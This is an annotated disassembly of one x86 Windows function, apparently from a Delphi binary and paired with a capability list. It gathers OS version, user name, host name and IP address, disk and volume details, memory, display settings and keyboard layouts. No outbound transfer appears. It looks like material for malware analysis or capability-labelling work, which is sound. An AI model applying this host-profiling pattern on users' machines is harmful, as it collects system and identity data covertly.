Function at 0x40a040
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc9
push 0
push 0
dec ecx
jne 0x40a048
push ecx
push ebx
push esi
push edi
mov esi, 0x42ab30
mov edi, 0x42ab48
xor eax, eax
push ebp
push 0x40b4fc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x40b514
call fcn.004040c0
mov eax, edi
mov edx, 0x40b558
call fcn.004040c0
mov dword [ebp - 0xe4], 0x94
mov eax, esi
mov edx, 0x40b564
call fcn.004040c0
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov ebx, dword [ebp - 0xd4]
cmp ebx, 2
jne 0x40a0bf
lea eax, [ebp - 8]
mov edx, 0x40b580
call fcn.00404104
jmp 0x40a0e3
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5bc]
call fcn.00406940
mov ecx, dword [ebp - 0x5bc]
lea eax, [ebp - 8]
mov edx, 0x40b59c
call fcn.00404354
cmp byte [0x42ab78], 0
je 0x40a0fb
lea eax, [ebp - 4]
mov edx, 0x40b5b8
call fcn.00404104
jmp 0x40a108
lea eax, [ebp - 4]
mov edx, 0x40b5c8
call fcn.00404104
mov eax, esi
mov edx, 0x40b5d8
call fcn.004040c0
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c0]
call fcn.00406940
push dword [ebp - 0x5c0]
push 0x40b644
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c4]
call fcn.00406940
push dword [ebp - 0x5c4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043c8
mov eax, dword [ebp - 0xc]
mov edx, 0x40b650
call fcn.00404454
jne 0x40a178
lea eax, [ebp - 4]
mov edx, 0x40b65c
call fcn.00404104
mov eax, esi
mov edx, 0x40b5d8
call fcn.004040c0
lea eax, [ebp - 0x18]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.004042dc
mov eax, dword [ebp - 0x18]
mov edx, 0x40b66c
call fcn.00404454
jne 0x40a1b5
lea eax, [ebp - 0x18]
mov edx, 0x40b684
call fcn.00404104
jmp 0x40a20d
mov eax, dword [ebp - 0x18]
mov edx, 0x40b690
call fcn.00404454
jne 0x40a1d3
lea eax, [ebp - 0x18]
mov edx, 0x40b6a8
call fcn.00404104
jmp 0x40a20d
mov eax, dword [ebp - 0x18]
mov edx, 0x40b6b4
call fcn.00404454
jne 0x40a1f1
lea eax, [ebp - 0x18]
mov edx, 0x40b6cc
call fcn.00404104
jmp 0x40a20d
mov eax, dword [ebp - 0x18]
mov edx, 0x40b6d8
call fcn.00404454
jne 0x40a20d
lea eax, [ebp - 0x18]
mov edx, 0x40b6f0
call fcn.00404104
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.00406940
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x40b6fc
call fcn.00404354
mov eax, esi
mov edx, 0x40b70c
call fcn.004040c0
push dword [ebp - 4]
push 0x40b734
push dword [ebp - 0xc]
push 0x40b740
push dword [ebp - 0x18]
push 0x40b740
push dword [ebp - 0x10]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 8
call fcn.004043c8
mov eax, esi
mov edx, 0x40b74c
call fcn.004040c0
push dword [edi]
push dword [ebp - 8]
push 0x40b558
push dword [ebp - 4]
push 0x40b734
push dword [ebp - 0xc]
push 0x40b558
push dword [ebp - 0x10]
push 0x40b558
push dword [ebp - 0x18]
push 0x40b558
push 0x40b764
push dword [0x42aaf8]
push 0x40b778
push 0x40b558
mov eax, edi
mov edx, 0xf
call fcn.004043c8
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [edi]
push 0x40b784
lea eax, [ebp - 0x5cc]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5cc]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x40b798
mov edx, 0x40b7ac
mov eax, 0x80000001
call fcn.00407d94
push dword [edi]
push 0x40b7d0
push dword [ebp - 4]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
push dword [ebp - 0x14]
push dword [ebp - 4]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004043c8
push dword [edi]
push 0x40b7e4
push dword [0x42aaf4]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, esi
mov edx, 0x40b7fc
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40b820
push dword [0x42aaf4]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
mov dword [ebp - 0x4c], 0x32
mov eax, esi
mov edx, 0x40b830
call fcn.004040c0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [edi]
push 0x40b8d8
lea eax, [ebp - 0x5d0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5d0]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, esi
mov edx, 0x40b8ec
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40b99c
lea eax, [ebp - 0x5d4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5d4]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
lea eax, [ebp - 4]
mov edx, 0x40b9ac
call fcn.00404104
mov eax, esi
mov edx, 0x40b9d0
call fcn.004040c0
lea eax, [ebp - 8]
mov ecx, 0x40ba48
mov edx, dword [ebp - 4]
call fcn.00404354
mov eax, esi
mov edx, 0x40ba64
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov ecx, 0x40bb34
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407ce0
lea edx, [ebp - 0xc]
call fcn.00406920
mov eax, esi
mov edx, 0x40bb44
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40bbc4
push dword [ebp - 0xc]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
push dword [edi]
push 0x40bbd4
push 0x40bbe0
push dword [ebp - 0xc]
push 0x40bbf0
push 0x40b558
push 0x40bc00
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5d8]
push eax
mov ecx, 0x40bc1c
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5d8]
push 0x40b558
push 0x40bc38
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5dc]
push eax
mov ecx, 0x40bc50
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5dc]
push 0x40b558
push 0x40bc64
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e0]
push eax
mov ecx, 0x40bc78
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e0]
push 0x40b558
push 0x40bc94
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e4]
push eax
mov ecx, 0x40bcac
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e4]
push 0x40b558
push 0x40bcc8
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e8]
push eax
mov ecx, 0x40bcdc
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e8]
push 0x40b558
push 0x40bcf4
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5ec]
push eax
mov ecx, 0x40bd14
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5ec]
push 0x40b558
push 0x40bd30
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5f0]
push eax
mov ecx, 0x40bd4c
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5f0]
push 0x40b558
mov eax, edi
mov edx, 0x1b
call fcn.004043c8
lea eax, [ebp - 4]
mov edx, 0x40bd64
call fcn.00404104
mov eax, esi
mov edx, 0x40bd74
call fcn.004040c0
xor eax, eax
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x20]
call fcn.00406920
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f4]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40bdfc
call fcn.00404354
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x40be14
mov eax, 0x80000002
call fcn.00407d94
mov eax, dword [ebp - 0xc]
call fcn.00404308
test eax, eax
jle 0x40a6d7
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40be3c
call fcn.00404354
mov ecx, dword [ebp - 0x5f8]
mov edx, 0x40be58
mov eax, 0x80000002
call fcn.00407d94
mov eax, dword [ebp - 0xc]
call fcn.00404308
test eax, eax
jle 0x40a733
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40b558
mov eax, edi
mov edx, 4
call fcn.004043c8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x40a670
mov eax, esi
mov edx, 0x40be84
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov ecx, 0x40bf08
mov edx, 0x40bf20
mov eax, 0x80000002
call fcn.00407ce0
lea edx, [ebp - 0x10]
call fcn.00406920
mov eax, esi
mov edx, 0x40b564
call fcn.004040c0
mov eax, dword [ebp - 0x10]
call fcn.00404308
test eax, eax
jle 0x40a7a0
push 0x40bf68
push dword [ebp - 0x10]
push 0x40b558
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004043c8
mov dword [ebp - 0x5b8], 0x20
lea eax, [ebp - 0x5b8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, esi
mov edx, 0x40bf80
call fcn.004040c0
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 4]
call fcn.00406940
push dword [ebp - 0x14]
push 0x40c01c
push dword [ebp - 4]
push 0x40b740
push dword [0x42aaf8]
push 0x40b740
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.004043c8
push dword [edi]
push 0x40bbd4
push 0x40c02c
push 0x40b558
push 0x40c040
push dword [ebp - 4]
push 0x40c058
push 0x40b558
push 0x40c064
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00406940
push dword [ebp - 0x5fc]
push 0x40c074
push 0x40b558
push 0x40c080
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00406940
push dword [ebp - 0x600]
push 0x40c058
push 0x40b558
push 0x40bbd4
push 0x40c098
push 0x40b558
push 0x40c0ac
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00406940
push dword [ebp - 0x604]
push 0x40c058
push 0x40b558
push 0x40c0c0
mov eax, dword [ebp - 0x5a4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00406940
push dword [ebp - 0x608]
push 0x40c058
push 0x40b558
push 0x40c0d4
mov eax, dword [ebp - 0x5a0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.00406940
push dword [ebp - 0x60c]
push 0x40c058
push 0x40b558
push 0x40c0ec
mov eax, dword [ebp - 0x59c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x610]
call fcn.00406940
push dword [ebp - 0x610]
push 0x40c058
push 0x40b558
push 0x40b558
push 0x40c104
push dword [0x42ab08]
push 0x40b558
push dword [ebp - 0x10]
mov eax, edi
mov edx, 0x28
call fcn.004043c8
mov eax, esi
mov edx, 0x40c114
call fcn.004040c0
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
mov edx, 0x40c1a8
call fcn.004040c0
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
mov eax, esi
mov edx, 0x40b9d0
call fcn.004040c0
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404264
push dword [edi]
push 0x40c1f0
push dword [ebp - 4]
mov eax, edi
mov edx, 3
call fcn.004043c8
push dword [ebp - 0x14]
push 0x40c204
push dword [ebp - 4]
push 0x40b740
push 0x40c210
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004043c8
mov eax, esi
mov edx, 0x40c220
call fcn.004040c0
call sub.wsock32.dll_WSACleanup
mov eax, esi
mov edx, 0x40c258
call fcn.004040c0
push dword [edi]
push 0x40b558
push 0x40b558
push 0x40c324
push 0x40b558
mov eax, edi
mov edx, 5
call fcn.004043c8
mov bl, 0x42
lea eax, [ebp - 0x614]
mov edx, ebx
call fcn.00404254
mov edx, dword [ebp - 0x614]
lea eax, [ebp - 0x1c]
mov ecx, 0x40c33c
call fcn.00404354
mov eax, dword [ebp - 0x1c]
call fcn.00404508
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x40aa7a.0
jmp dword [eax*4 + 0x40aa81]
mov eax, esi
mov edx, 0x40c348
call fcn.004040c0
lea eax, [ebp - 4]
mov edx, 0x40c3ac
call fcn.00404104
lea eax, [ebp - 8]
mov edx, 0x40c3c0
call fcn.00404104
jmp 0x40abad
mov eax, esi
mov edx, 0x40c3cc
call fcn.004040c0
lea eax, [ebp - 4]
mov edx, 0x40c49c
call fcn.00404104
lea eax, [ebp - 8]
mov edx, 0x40c4ac
call fcn.00404104
jmp 0x40abad
mov eax, esi
mov edx, 0x40c4b8
call fcn.004040c0
lea eax, [ebp - 4]
mov edx, 0x40c4e8
call fcn.00404104
lea eax, [ebp - 8]
mov edx, 0x40c4f8
call fcn.00404104
mov eax, esi
mov edx, 0x40c508
call fcn.004040c0
jmp 0x40abad
lea eax, [ebp - 4]
mov edx, 0x40c560
call fcn.00404104
lea eax, [ebp - 8]
mov edx, 0x40c570
call fcn.00404104
mov eax, esi
mov edx, 0x40c57c
call fcn.004040c0
push dword [edi]
push 0x40b558
push 0x40bbd4
push dword [ebp - 0x1c]
push dword [ebp - 4]
push 0x40b558
mov eax, edi
mov edx, 6
call fcn.004043c8
lea eax, [ebp - 4]
call fcn.0040406c
mov eax, esi
mov edx, 0x40c630
call fcn.004040c0
jmp 0x40abad
lea eax, [ebp - 4]
mov edx, 0x40c64c
call fcn.00404104
lea eax, [ebp - 8]
mov edx, 0x40c65c
call fcn.00404104
jmp 0x40abad
lea eax, [ebp - 4]
call fcn.0040406c
mov eax, dword [ebp - 4]
call fcn.00404308
dec eax
jl 0x40adfc
mov eax, esi
mov edx, 0x40c670
call fcn.004040c0
push dword [ebp - 0x14]
lea eax, [ebp - 0x618]
mov edx, ebx
call fcn.00404254
push dword [ebp - 0x618]
push 0x40c744
push dword [ebp - 8]
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
push dword [edi]
push 0x40bbd4
push dword [ebp - 0x1c]
push 0x40b558
push 0x40c750
push dword [ebp - 4]
push 0x40b558
mov eax, edi
mov edx, 7
call fcn.004043c8
mov eax, esi
mov edx, 0x40c760
call fcn.004040c0
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404508
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x40ad1e
push dword [edi]
push 0x40c798
lea eax, [ebp - 0x61c]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.004042dc
push dword [ebp - 0x61c]
push 0x40b558
push 0x40c7a8
lea eax, [ebp - 0x620]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.004042dc
push dword [ebp - 0x620]
push 0x40b558
push 0x40c7b8
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00406940
push dword [ebp - 0x624]
push 0x40b558
push 0x40c7c8
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00406940
push dword [ebp - 0x628]
push 0x40b558
push 0x40c7dc
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00406940
push dword [ebp - 0x62c]
push 0x40b558
mov eax, edi
mov edx, 0x10
call fcn.004043c8
mov eax, esi
mov edx, 0x40c7ec
call fcn.004040c0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404508
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x40adfc
push dword [edi]
push 0x40c87c
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00404cf0
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00406940
push dword [ebp - 0x630]
push 0x40c058
push 0x40b558
push 0x40c88c
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404cf0
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00406940
push dword [ebp - 0x634]
push 0x40c058
push 0x40b558
push 0x40c89c
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00404cf0
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00406940
push dword [ebp - 0x638]
push 0x40c058
push 0x40b558
mov eax, edi
mov edx, 0xd
call fcn.004043c8
inc ebx
cmp bl, 0x5b
jne 0x40aa43
push 0
push 0
push 0
push 0x40c8a4
call sub.gdi32.dll_CreateDCA
mov ebx, eax
push 8
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 4]
call fcn.00406920
mov eax, esi
mov edx, 0x40c8b4
call fcn.004040c0
push 0xa
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00406920
push 0x74
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00406920
push 0xc
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00406920
push ebx
call sub.gdi32.dll_DeleteDC
push dword [edi]
push 0x40bbd4
push 0x40c8e0
push 0x40b558
push 0x40c8f4
push dword [ebp - 4]
push 0x40b558
push 0x40c904
push dword [ebp - 8]
push 0x40b558
push 0x40c918
push dword [ebp - 0xc]
push 0x40b558
push 0x40c92c
push dword [ebp - 0x10]
push 0x40b558
mov eax, edi
mov edx, 0x10
call fcn.004043c8
mov eax, esi
mov edx, 0x40c944
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40b740
push 0x40c9b8
push dword [ebp - 4]
push 0x40c9c8
push dword [ebp - 8]
push 0x40c9d4
push dword [ebp - 0xc]
push 0x40c9c8
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, 0xa
call fcn.004043c8
mov eax, esi
mov edx, 0x40c9e0
call fcn.004040c0
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402e70
lea eax, [ebp - 0x598]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
push 0x40ca7c
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x63c]
call fcn.00406940
push dword [ebp - 0x63c]
push 0x40b558
lea eax, [ebp - 4]
mov edx, 3
call fcn.004043c8
mov eax, esi
mov edx, 0x40ca98
call fcn.004040c0
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x40b3db
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0
lea ebx, [ebp - 0x598]
mov eax, esi
mov edx, 0x40caec
call fcn.004040c0
mov eax, dword [ebx]
and eax, 0xff
cmp eax, 0x38
ja case.0x40af9f.0
jmp dword [eax*4 + 0x40afa6]
lea eax, [ebp - 0x10]
mov edx, 0x40cb3c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb4c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb5c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb6c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb7c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb8c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cb9c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbac
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbbc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbcc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbdc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbec
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cbfc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cc08
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cc1c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cc30
call fcn.00404104
mov eax, esi
mov edx, 0x40cc40
call fcn.004040c0
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cccc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ccdc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ccec
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ccfc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd0c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd1c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd30
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd44
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd58
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd68
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd7c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd8c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cd9c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cdb0
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cdc4
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cdd4
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cde8
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40cdfc
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce08
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce18
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce2c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce3c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce4c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce5c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce6c
call fcn.00404104
jmp case.0x40af9f.0
lea eax, [ebp - 0x10]
mov edx, 0x40ce78
call fcn.00404104
mov eax, esi
mov edx, 0x40ce88
call fcn.004040c0
push dword [ebp - 4]
lea edx, [ebp - 0x640]
mov eax, dword [ebp - 0x20]
inc eax
call fcn.00406920
push dword [ebp - 0x640]
push 0x40c744
mov eax, dword [ebx]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x644]
call fcn.00406940
push dword [ebp - 0x644]
push 0x40b734
push dword [ebp - 0x10]
push 0x40b558
lea eax, [ebp - 4]
mov edx, 7
call fcn.004043c8
inc dword [ebp - 0x20]
add ebx, 4
dec dword [ebp - 0x50]
jne 0x40af83
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404310
mov eax, esi
mov edx, 0x40bb44
call fcn.004040c0
lea eax, [ebp - 0xc]
mov edx, 0x40cf54
call fcn.00404104
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x40cf70
mov edx, dword [ebp - 0xc]
mov eax, 0x80000001
call fcn.00407d94
mov eax, esi
mov edx, 0x40cf84
call fcn.004040c0
cmp dword [ebp - 4], 0
je 0x40b485
push dword [edi]
push 0x40bbd4
push 0x40d020
push dword [ebp - 4]
push 0x40b558
push 0x40d038
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
mov ecx, 0x40d04c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x648]
push 0x40b558
mov eax, edi
mov edx, 8
call fcn.004043c8
push 0x40d05c
push dword [ebp - 0x14]
push 0x40b558
push 0x40d084
push 0x40b558
push 0x40d094
lea edx, [ebp - 0x64c]
mov eax, 0x8f
call fcn.00406920
push dword [ebp - 0x64c]
push dword [edi]
mov eax, edi
mov edx, 8
call fcn.004043c8
mov eax, esi
mov edx, 0x40d0a8
call fcn.004040c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b503
lea eax, [ebp - 0x64c]
mov edx, 0x25
call fcn.00404090
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00404090
ret